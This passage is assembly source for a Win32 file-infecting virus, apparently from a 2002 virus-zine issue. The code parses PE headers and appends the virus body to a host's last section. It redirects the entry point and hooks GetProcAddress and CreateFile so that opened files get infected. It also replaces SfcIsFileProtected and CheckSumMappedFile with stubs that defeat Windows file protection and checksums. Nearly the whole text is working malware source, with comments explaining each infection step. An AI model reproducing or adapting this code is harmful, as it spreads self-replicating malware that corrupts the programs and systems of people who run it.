cmp [edi][PE.SizeOfOptionalHeader], IMAGE_SIZEOF_NT_OPTIONAL32_HEADER
|
||
|
jne CheckFail
|
||
|
cmp [edi][PE.Magic], IMAGE_NT_OPTIONAL_HDR32_MAGIC
|
||
|
jne CheckFail
|
||
|
cmp [edi][PE.SizeOfHeaders], 0
|
||
|
je CheckFail
|
||
|
cmp [edi][PE.NumberOfRvaAndSizes], 2
|
||
|
jb CheckFail
|
||
|
|
||
|
; Begin a loop through our Import Table, searching for a Kernel32.DLL
|
||
|
mov eax, [edi][PE.DataDirectory.Import.RVA]
|
||
|
mov [edx][VX.BoundImport ], eax
|
||
|
DO_API ConvertToRaw, [FILEHANDLE], eax
|
||
|
test eax, eax
|
||
|
jz CheckFail
|
||
|
mov esi, eax
|
||
|
.WHILE TRUE
|
||
|
; Abort if it's the end of the table, otherwise string compare
|
||
|
DO_API ConvertToRaw, [FILEHANDLE], [esi][IMPORT.Names]
|
||
|
test eax, eax
|
||
|
jz CheckFail
|
||
|
mCompareStringA ADDR [edx][VX.UsedKernel], eax
|
||
|
.BREAK .IF (ZERO?)
|
||
|
add [edx][VX.BoundImport], SIZE IMPORT
|
||
|
add esi, SIZE IMPORT
|
||
|
.ENDW
|
||
|
|
||
|
; Set up all of our Import Information, and save the RVA of this Import
|
||
|
DO_API SetupImports, [VD], [FILEHANDLE], esi
|
||
|
test eax, eax
|
||
|
jz CheckFail
|
||
|
|
||
|
; Make sure that at least one Hook has been fulfilled, otherwise if we
|
||
|
; infect, it's a waste of time :|
|
||
|
lea esi, [edx][VX.HookAPI]
|
||
|
mov ecx, HOOKS_COUNT
|
||
|
.REPEAT
|
||
|
cmp dword ptr [esi], 0
|
||
|
jnz @F
|
||
|
add esi, 12
|
||
|
.UNTILCXZ
|
||
|
jmp CheckFail
|
||
|
|
||
|
@@: ; Scan through the section table until we locate the section with
|
||
|
; the highest RVA. Then we make sure it has a physical location.
|
||
|
movzx ecx, [edi][PE.NumberOfSections ]
|
||
|
add di, [edi][PE.SizeOfOptionalHeader ]
|
||
|
adc edi, PE.Magic
|
||
|
xor eax, eax
|
||
|
.REPEAT
|
||
|
cmp [edi][SECTION.VirtualAddress], eax
|
||
|
.IF !(CARRY?)
|
||
|
mov eax, [edi][SECTION.VirtualAddress]
|
||
|
mov esi, edi
|
||
|
.ENDIF
|
||
|
add edi, SIZE SECTION
|
||
|
.UNTILCXZ
|
||
|
|
||
|
; Save the RVA of the our Section for us to twiddle with in WriteFile.
|
||
|
mov edi, esi
|
||
|
sub esi, [FILEHANDLE]
|
||
|
mov [edx][VX.LastSection], esi
|
||
|
mov esi, [FILEHANDLE]
|
||
|
add esi, [esi][IMAGE_DOS_HEADER.e_lfanew ]
|
||
|
|
||
|
; Sections are allocated memory up to PE.SectionAlignment, so we want
|
||
|
; to place the virus after that, and ALSO skip past any overlay data
|
||
|
; that's at the end of the PE and not in any sections.
|
||
|
; 1. How big is the Section's memory allocation?
|
||
|
mov eax, [edi][SECTION.VirtualSize]
|
||
|
cmp eax, [edi][SECTION.SizeOfRawData]
|
||
|
ja @F
|
||
|
mov eax, [edi][SECTION.SizeOfRawData]
|
||
|
@@: DO_API ConvertAlign, [esi][PE.SectionAlignment], eax
|
||
|
|
||
|
; 2. How big is the file minus File Section, plus Memory Section?
|
||
|
mov ebx, eax
|
||
|
DO_API ConvertAlign, [esi][PE.FileAlignment], [edi][SECTION.SizeOfRawData]
|
||
|
test eax, eax
|
||
|
jz CheckFail
|
||
|
add eax, [edx][VX.FileSize]
|
||
|
sub eax, ebx
|
||
|
|
||
|
; 3. If the file is bigger than it would be, we have lots of overlay
|
||
|
; data, so base our start-of-virus value to be AFTER that.
|
||
|
cmp eax, [edx][VX.FileSize]
|
||
|
ja @F
|
||
|
mov eax, [edx][VX.FileSize]
|
||
|
@@: sub eax, [edi][SECTION.PointerToRawData]
|
||
|
push eax
|
||
|
add eax, [edi][SECTION.VirtualAddress ]
|
||
|
mov [edx][VX.SectionEntrypoint], eax
|
||
|
pop eax
|
||
|
|
||
|
; Now save the Section size [yes, we only need to FileAlign it], and
|
||
|
; of course the total size of the file.
|
||
|
add eax, Virus_Size
|
||
|
DO_API ConvertAlign, [esi][PE.FileAlignment], eax
|
||
|
mov [edx][VX.SizeSection], eax
|
||
|
|
||
|
add eax, [edi][SECTION.PointerToRawData]
|
||
|
mov [edx][VX.FileSize], eax
|
||
|
mov eax, -1
|
||
|
jmp CheckExit
|
||
|
|
||
|
CheckFail:
|
||
|
xor eax, eax
|
||
|
CheckExit:
|
||
|
ret
|
||
|
CheckFile ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Write Host ) ==============================================================
|
||
|
; =============================================================================
|
||
|
WriteFile PROC VD:PTR VX, FILEHANDLE:DWORD
|
||
|
; Set our infection marker | EDX = VD | EDI = PE | ESI = SECTION
|
||
|
mov edx, [VD]
|
||
|
mov edi, [FILEHANDLE]
|
||
|
mov [edi][IMAGE_DOS_HEADER.e_csum], -1
|
||
|
|
||
|
mov esi, [edx][VX.LastSection]
|
||
|
lea esi, [edi][esi]
|
||
|
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
|
||
|
push edi
|
||
|
|
||
|
; Update SizeOfImage field, and then update with correct Section fields
|
||
|
mov eax, [esi][SECTION.VirtualSize ]
|
||
|
cmp eax, [esi][SECTION.SizeOfRawData ]
|
||
|
ja @F
|
||
|
mov eax, [esi][SECTION.SizeOfRawData ]
|
||
|
@@: DO_API ConvertAlign, [edi][PE.SectionAlignment], eax
|
||
|
sub [edi][PE.SizeOfImage], eax
|
||
|
mov ebx, [edx][VX.SizeSection]
|
||
|
add [edi][PE.SizeOfImage], ebx
|
||
|
|
||
|
mov [esi][SECTION.VirtualSize ], ebx
|
||
|
mov [esi][SECTION.SizeOfRawData], ebx
|
||
|
or [esi][SECTION.Characteristics], IMAGE_SCN_MEM_READ
|
||
|
and [esi][SECTION.Characteristics], NOT IMAGE_SCN_MEM_DISCARDABLE
|
||
|
|
||
|
; Update SizeOfCode/SizeOfInitializedData/SizeOfUninitializedData field
|
||
|
test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_CODE
|
||
|
.IF !(ZERO?)
|
||
|
sub [edi][PE.SizeOfCode], eax
|
||
|
add [edi][PE.SizeOfCode], ebx
|
||
|
.ENDIF
|
||
|
test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
|
||
|
.IF !(ZERO?)
|
||
|
sub [edi][PE.SizeOfInitializedData], eax
|
||
|
add [edi][PE.SizeOfInitializedData], ebx
|
||
|
.ENDIF
|
||
|
test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_UNINITIALIZED_DATA
|
||
|
.IF !(ZERO?)
|
||
|
sub [edi][PE.SizeOfUninitializedData], eax
|
||
|
add [edi][PE.SizeOfUninitializedData], ebx
|
||
|
.ENDIF
|
||
|
|
||
|
; Force Win32 to do RunTime Binding
|
||
|
; [Extra 2 MOVs I don't think are necessary, so I left them out for now]
|
||
|
; mov [edi][PE.DataDirectory.BoundImport.RVA], 0
|
||
|
; mov [edi][PE.DataDirectory.BoundImport.Sizes], 0
|
||
|
DO_API ConvertToRaw, [FILEHANDLE ], [edx][VX.BoundImport]
|
||
|
mov [eax][IMPORT.TimeDateStamp], 0
|
||
|
|
||
|
; Save and set the PE Entrypoint
|
||
|
mov ebx, [edx][VX.SectionEntrypoint ]
|
||
|
push ebx
|
||
|
add ebx, SIZE VX
|
||
|
xchg [edi][PE.AddressOfEntryPoint], ebx
|
||
|
mov [edx][VX.HostEntrypoint], ebx
|
||
|
pop ebx
|
||
|
|
||
|
; Write the virus to the file, finally!
|
||
|
DO_API ConvertToRaw, [FILEHANDLE], ebx
|
||
|
mov esi, edx
|
||
|
mov edi, eax
|
||
|
mov ecx, Virus_Size / 4
|
||
|
cld
|
||
|
rep movsd
|
||
|
|
||
|
; Do the checksums, one of which is pointing to a junk area
|
||
|
pop edi
|
||
|
DO_API tCheckSumMappedFile PTR [edx][VX.pCheckSumMappedFile], [FILEHANDLE], [edx][VX.FileSize], ADDR [edx][VX.LastSection], ADDR [edi][PE.CheckSum]
|
||
|
ret
|
||
|
WriteFile ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Scan Imports ) ============================================================
|
||
|
; =============================================================================
|
||
|
SetupImports PROC VD:PTR VX, FILEHANDLE:DWORD, TABLE:DWORD
|
||
|
; Switch between the Thunk Tables for Inprise/Microsoft compatability
|
||
|
mov edx, [VD]
|
||
|
mov esi, [TABLE]
|
||
|
mov eax, [esi][IMPORT.OriginalFirstThunk]
|
||
|
test eax, eax
|
||
|
jnz @F
|
||
|
mov eax, [esi][IMPORT.FirstThunk]
|
||
|
@@: DO_API ConvertToRaw, [FILEHANDLE], eax
|
||
|
test eax, eax
|
||
|
jz SetupImportsExit
|
||
|
|
||
|
; Begin the loop, which skips Ordinal entry and WENDs on a NULL entry
|
||
|
mov esi, eax
|
||
|
xor ecx, ecx
|
||
|
.WHILE TRUE
|
||
|
lodsd
|
||
|
test eax, eax
|
||
|
.IF !(SIGN?)
|
||
|
DO_API ConvertToRaw, [FILEHANDLE], eax
|
||
|
.BREAK .IF (eax == 0)
|
||
|
push esi
|
||
|
push ecx
|
||
|
lea esi, [eax][2]
|
||
|
|
||
|
; Store the RVA of the associated FirstThunk entry, so we
|
||
|
; can located the Imported API VA during execution, if we
|
||
|
; need it [if this entry is a Hook/Used API]
|
||
|
mov eax, [TABLE]
|
||
|
mov eax, [eax][IMPORT.FirstThunk]
|
||
|
lea eax, [eax][ecx * 4]
|
||
|
mov [edx][VX.ThunkArrayRVA], eax
|
||
|
|
||
|
; Firstly, loop through and save details if this entry is
|
||
|
; Hookable. Note some API are Hooked and Used, so we do
|
||
|
; keep looping even if the API matches.
|
||
|
lea ebx, [edx][VX.HookAPI]
|
||
|
mov ecx, HOOKS_COUNT
|
||
|
.REPEAT
|
||
|
mov edi, [ebx][8]
|
||
|
mCompareStringA ADDR [edx][edi][4], esi
|
||
|
.IF (ZERO?)
|
||
|
push [edx][VX.ThunkArrayRVA]
|
||
|
pop [ebx]
|
||
|
.ENDIF
|
||
|
add ebx, 12
|
||
|
.UNTILCXZ
|
||
|
|
||
|
; Secondly, loop through, always overwrite previously saved
|
||
|
; 'possible replacement' information with perfect matches.
|
||
|
lea ebx, [edx][VX.sLoadLibraryA]
|
||
|
mCompareStringA ebx, esi
|
||
|
je SetupImportsStore
|
||
|
lea ebx, [edx][VX.sGetProcAddress]
|
||
|
mCompareStringA ebx, esi
|
||
|
je SetupImportsStore
|
||
|
|
||
|
; Calculate the string size and the 'possible replacement'.
|
||
|
xor eax, eax
|
||
|
mov eax, esi
|
||
|
@@: inc eax
|
||
|
cmp byte ptr [eax][-1], 0
|
||
|
jne @B
|
||
|
sub eax, esi
|
||
|
|
||
|
.IF (eax < BUFFER_SIZE)
|
||
|
.IF (eax > 16)
|
||
|
cmp [edx][VX.pGetProcAddress], 0
|
||
|
je SetupImportsStore
|
||
|
.ENDIF
|
||
|
.IF (eax > 14)
|
||
|
lea ebx, [edx][VX.sLoadLibraryA]
|
||
|
cmp [edx][VX.pLoadLibraryA], 0
|
||
|
.IF (ZERO?)
|
||
|
SetupImportsStore:
|
||
|
mov [ebx][- (BUFFER_SIZE + 8)], esi
|
||
|
push [edx][VX.ThunkArrayRVA]
|
||
|
pop [ebx][-4]
|
||
|
.ENDIF
|
||
|
.ENDIF
|
||
|
.ENDIF
|
||
|
pop ecx
|
||
|
pop esi
|
||
|
.ENDIF
|
||
|
inc ecx
|
||
|
.ENDW
|
||
|
|
||
|
; Loop through twice, copying import address string into the virus, and
|
||
|
; the virus string over the original. Make eax nonzero, if all's okay.
|
||
|
lea edi, [edx][VX.bLoadLibraryA]
|
||
|
xor ebx, ebx
|
||
|
@@: cmp dword ptr [edi][BUFFER_SIZE][4], 0
|
||
|
je SetupImportsExit
|
||
|
|
||
|
mov esi, [edi]
|
||
|
push esi
|
||
|
mov ecx, BUFFER_SIZE
|
||
|
cld
|
||
|
rep movsb
|
||
|
|
||
|
lea esi, [edi][8]
|
||
|
mov ecx, [edi]
|
||
|
pop edi
|
||
|
rep movsb
|
||
|
|
||
|
lea edi, [edx][VX.bGetProcAddress]
|
||
|
dec ebx
|
||
|
jpe @B
|
||
|
dec eax
|
||
|
|
||
|
SetupImportsExit:
|
||
|
ret
|
||
|
SetupImports ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Align to boundary ) =======================================================
|
||
|
; =============================================================================
|
||
|
; Align a value to a boundary, I was guessing, so let's hope it's not buggy!!!!
|
||
|
ConvertAlign PROC BOUNDARY:DWORD, VALUE:DWORD
|
||
|
mov eax, [VALUE]
|
||
|
xor edx, edx
|
||
|
mov ecx, [BOUNDARY]
|
||
|
div ecx
|
||
|
or edx, edx
|
||
|
mov eax, [VALUE]
|
||
|
jz ConvertAlignExit
|
||
|
add eax, [BOUNDARY]
|
||
|
ConvertAlignExit:
|
||
|
sub eax, edx
|
||
|
ret
|
||
|
ConvertAlign ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Convert RVA to RAW ) ======================================================
|
||
|
; =============================================================================
|
||
|
ConvertToRaw PROC FILEHANDLE:DWORD, VALUE:DWORD
|
||
|
; Make sure we haven't been provided a dud value, most routines should just
|
||
|
; rely on the result of this, instead of doing double error checking.
|
||
|
mov esi, [FILEHANDLE]
|
||
|
mov edi, [VALUE]
|
||
|
test edi, edi
|
||
|
jz ConvertToRawFail
|
||
|
|
||
|
; Locate start of SECTION Table and prepare for looping through them all
|
||
|
add esi, [esi][IMAGE_DOS_HEADER.e_lfanew]
|
||
|
mov ebx, [esi][PE.SectionAlignment ]
|
||
|
movzx ecx, [esi][PE.NumberOfSections ]
|
||
|
add si, [esi][PE.SizeOfOptionalHeader ]
|
||
|
adc esi, PE.Magic
|
||
|
|
||
|
.REPEAT
|
||
|
; Skip it if this Section starts above our VA
|
||
|
cmp [esi][SECTION.VirtualAddress], edi
|
||
|
ja ConvertToRawNext
|
||
|
|
||
|
; Find out where the section ends in memory, that means taking
|
||
|
; whichever RVA is bigger and SectionAligning it.
|
||
|
mov eax, [esi][SECTION.SizeOfRawData ]
|
||
|
cmp eax, [esi][SECTION.VirtualSize ]
|
||
|
ja @F
|
||
|
mov eax, [esi][SECTION.VirtualSize ]
|
||
|
@@: DO_API ConvertAlign, ebx, eax
|
||
|
add eax, [esi][SECTION.VirtualAddress]
|
||
|
|
||
|
; Jump over this section entry if it ends below our RVA
|
||
|
cmp eax, edi
|
||
|
jbe ConvertToRawNext
|
||
|
|
||
|
; Fail if this entry doesn't exist in the file [could be memory only]
|
||
|
cmp [esi][SECTION.PointerToRawData], 0
|
||
|
je ConvertToRawFail
|
||
|
|
||
|
; Convert raw pointer to VA and add our value's pointers offset to it
|
||
|
mov eax, [FILEHANDLE]
|
||
|
add eax, [esi][SECTION.PointerToRawData]
|
||
|
sub edi, [esi][SECTION.VirtualAddress ]
|
||
|
add eax, edi
|
||
|
jmp ConvertToRawExit
|
||
|
|
||
|
ConvertToRawNext:
|
||
|
add esi, SIZE SECTION
|
||
|
.UNTILCXZ
|
||
|
|
||
|
ConvertToRawFail:
|
||
|
xor eax, eax
|
||
|
ConvertToRawExit:
|
||
|
ret
|
||
|
ConvertToRaw ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Alternate SfcIsFileProtected ) ============================================
|
||
|
; =============================================================================
|
||
|
AlternateSfcIsFileProtected PROC P1:DWORD, P2:DWORD
|
||
|
; Alternate SfcIsFileProtected procedure, returns "File Unprotected"
|
||
|
mov eax, FALSE
|
||
|
ret
|
||
|
AlternateSfcIsFileProtected ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Alternate CheckSumMappedFile ) ============================================
|
||
|
; =============================================================================
|
||
|
AlternateCheckSumMappedFile PROC P1:DWORD, P2:DWORD, P3:DWORD, P4:DWORD
|
||
|
; Alternate CheckSumMappedFile procedure, returns "NULL Checksum OK"
|
||
|
mov eax, [P4]
|
||
|
mov ebx, NULL
|
||
|
xchg [eax], ebx
|
||
|
mov eax, [P3]
|
||
|
mov [eax], ebx
|
||
|
mov eax, [P1]
|
||
|
add eax, [eax][IMAGE_DOS_HEADER.e_lfanew]
|
||
|
ret
|
||
|
AlternateCheckSumMappedFile ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Hooked version of GetProcAddress ) ========================================
|
||
|
; =============================================================================
|
||
|
HookGetProcAddress PROC USES EDX ESI,
|
||
|
DLL:DWORD, PROCEDURE:DWORD
|
||
|
; Work out our delta offset and check to make sure the program is asking
|
||
|
; for a Kernel32.DLL Procedure [which are the only ones we hook].
|
||
|
LOCATE
|
||
|
DO_API tLoadLibraryA PTR [edx][VX.pLoadLibraryA], ADDR [edx][VX.UsedKernel]
|
||
|
cmp eax, [DLL]
|
||
|
.IF (ZERO?)
|
||
|
push ecx
|
||
|
mov ecx, HOOKS_COUNT
|
||
|
lea esi, [edx][VX.HookAPI]
|
||
|
.REPEAT
|
||
|
; Abort if this entry marks the end of the table.
|
||
|
lodsd
|
||
|
lodsd
|
||
|
lodsd
|
||
|
mCompareStringA ADDR [edx][eax][4], [PROCEDURE]
|
||
|
.IF (ZERO?)
|
||
|
mov eax, [esi][-4 ]
|
||
|
lea eax, [edx][eax]
|
||
|
pop ecx
|
||
|
ret
|
||
|
.ENDIF
|
||
|
.UNTILCXZ
|
||
|
pop ecx
|
||
|
.ENDIF
|
||
|
|
||
|
INVOKE tGetProcAddress PTR [edx][VX.pGetProcAddress], [DLL], [PROCEDURE]
|
||
|
ret
|
||
|
HookGetProcAddress ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Hooked version of CreateFile ) ============================================
|
||
|
; =============================================================================
|
||
|
HookCreateFileW PROC USES EDX,
|
||
|
FILENAME:DWORD, P2:DWORD, P3:DWORD, P4:DWORD, P5:DWORD, P6:DWORD, P7:DWORD
|
||
|
LOCAL QUALIFIED[MAX_PATH]:BYTE
|
||
|
LOCATE
|
||
|
DO_API tWideCharToMultiByte PTR [edx][VX.pWideCharToMultiByte], NULL, NULL, FILENAME, -1, ADDR [QUALIFIED], MAX_PATH, NULL, NULL
|
||
|
.IF (eax != 0)
|
||
|
DO_API LoadsFile, edx, ADDR [QUALIFIED]
|
||
|
.ENDIF
|
||
|
|
||
|
INVOKE tCreateFileW PTR [edx][VX.pCreateFileW], FILENAME, P2, P3, P4, P5, P6, P7
|
||
|
ret
|
||
|
HookCreateFileW ENDP
|
||
|
|
||
|
HookCreateFileA PROC USES EDX,
|
||
|
FILENAME:DWORD, P2:DWORD, P3:DWORD, P4:DWORD, P5:DWORD, P6:DWORD, P7:DWORD
|
||
|
LOCATE
|
||
|
DO_API LoadsFile, edx, [FILENAME]
|
||
|
INVOKE tCreateFileA PTR [edx][VX.pCreateFileA], FILENAME, P2, P3, P4, P5, P6, P7
|
||
|
ret
|
||
|
HookCreateFileA ENDP
|
||
|
|
||
|
ALIGN 4
|
||
|
Virus_Size EQU $ - Virus_Data
|
||
|
Virus ENDS
|
||
|
END WinMain
|
||
|
|
||
|
COMMENT ` ---------------------------------------------------------------- )=-
|
||
|
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
|
||
|
-=( ---------------------------------------------------------------------- ) `
|